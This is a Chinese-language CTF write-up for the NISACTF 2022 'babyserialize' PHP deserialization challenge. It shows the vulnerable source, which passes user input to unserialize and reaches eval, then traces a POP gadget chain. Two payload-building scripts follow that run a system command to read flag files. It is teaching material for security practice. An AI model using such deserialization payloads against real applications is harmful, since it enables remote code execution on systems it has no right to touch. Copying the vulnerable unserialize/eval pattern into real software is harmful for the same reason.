PHP反序列化入门 - [NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>


代码接收一个ser变量来反序列化

//class NISA   
public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever); //eval高危函数 执行代码
    }

首先我们的最终目的肯定是触发NISA的invoke 方法 - 对象被当作函数调⽤时

然后我们查找对象在哪里被当作函数调用

//Class ilovetxw    
public function __toString(){
        $bb = $this->su;
        return $bb();
    }

然后发现在Ilovetxw的toString方法会被调用 - 把类当作字符串使⽤时调用

// Class Four        
if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }

这里会把a变量转换成小写(strtolower)肯定调用toString

但是拥有判断fun = “sixsixsix”而fun是private私有

// class ilovetxw    
public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

这里可以设置fun 为入参

call是在对象上下⽂中调⽤不可访问的⽅法时触发

//class TianXiWei
public function __wakeup()
{
    $this->ext->nisa($this->x);
}

也就是 TianXiWei::_wakeup -> ilovetxw::__call -> Four:: _set -> ilovetxw::_toString -> NISA::__invoke

$a = new TianXiWei();
$a->ext = new Ilovetxw();
$a->ext->huang = new four();
$a->x = "sixsixsix"; //fun 
$a->ext->huang->a = new Ilovetxw();
$a->ext->huang->a->su = new NISA();
$a->ext->huang->a->su->txw4ever = "SYSTEM('cat /f*');";
$a->ext->huang->a->su->fun = "666";
echo(urlencode(serialize($a)));

邪修

//class NISA
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

NISA会在wakeup里面与”show_me_flag”弱比较 假设我们的fun设置成ilovetxw这个类 那不是直接会调用tostring方法吗

$a = new NISA();
$a ->fun = new Ilovetxw();
$a ->fun ->su = new NISA();
$a ->fun ->su->txw4ever = "SYSTEM('cat /f*');";
$a ->fun ->su->fun = "666";
echo(urlencode(serialize($a)));

image-20260109041952891